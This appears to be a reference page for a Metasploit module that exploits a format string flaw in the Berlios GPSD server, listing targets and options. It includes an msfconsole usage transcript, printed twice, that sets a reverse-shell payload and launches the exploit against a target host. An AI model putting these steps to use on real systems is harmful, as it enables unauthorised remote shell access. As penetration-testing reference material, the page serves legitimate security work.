Berlios GPSD Format String Vulnerability
This module exploits a format string vulnerability in the Berlios GPSD server. This vulnerability was discovered by Kevin Finisterre.
Exploit Rank
- Average
Exploit Authors
- Yann Senotier < yann.senotier [at] cyber-networks.fr >
Vulnerability References
Exploit Targets
- 0 - gpsd-1.91-1.i386.rpm
- 1 - gpsd-1.92-1.i386.rpm
- 2 - gpsd-1.93-1.i386.rpm
- 3 - gpsd-1.94-1.i386.rpm
- 4 - gpsd-1.95-1.i386.rpm
- 5 - gpsd-1.96-1.i386.rpm
- 6 - gpsd-1.97-1.i386.rpm
- 7 - gpsd-2.1-1.i386.rpm
- 8 - gpsd-2.2-1.i386.rpm
- 9 - gpsd-2.3-1.i386.rpm
- 10 - gpsd-2.4-1.i386.rpm
- 11 - gpsd-2.5-1.i386.rpm
- 12 - gpsd-2.6-1.i386.rpm
- 13 - gpsd-2.7-1.i386.rpm
- 14 - gpsd_2.6-1_i386.deb
- 15 - gpsd_2.7-1_i386.deb
- 16 - gpsd_2.7-2_i386.deb
- 17 - SuSE 9.1 compiled 2.0
- 18 - Slackware 9.0 compiled 2.0
- 19 - Slackware 9.0 compiled 2.7
- 20 - Debug
Exploit Development
Similar Exploit Modules
- exploit/linux/http/alcatel_omnipcx_mastercgi_exec
- exploit/linux/http/ddwrt_cgibin_exec
- exploit/linux/http/dolibarr_cmd_exec
- exploit/linux/http/linksys_apply_cgi
- exploit/linux/http/peercast_url
- exploit/linux/http/piranha_passwd_exec
- exploit/linux/http/vcms_upload
- exploit/linux/http/webcalendar_settings_exec
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/linux/http/gpsd_format_string
msf exploit(gpsd_format_string) > show payloads
msf exploit(gpsd_format_string) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(gpsd_format_string) > set LHOST [MY IP ADDRESS]
msf exploit(gpsd_format_string) > set RHOST [TARGET IP]
msf exploit(gpsd_format_string) > show targets
msf exploit(gpsd_format_string) > set TARGET [TARGET ID]
msf exploit(gpsd_format_string) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/linux/http/gpsd_format_string
msf exploit(gpsd_format_string) > show payloads
msf exploit(gpsd_format_string) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(gpsd_format_string) > set LHOST [MY IP ADDRESS]
msf exploit(gpsd_format_string) > set RHOST [TARGET IP]
msf exploit(gpsd_format_string) > show targets
msf exploit(gpsd_format_string) > set TARGET [TARGET ID]
msf exploit(gpsd_format_string) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 2947) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
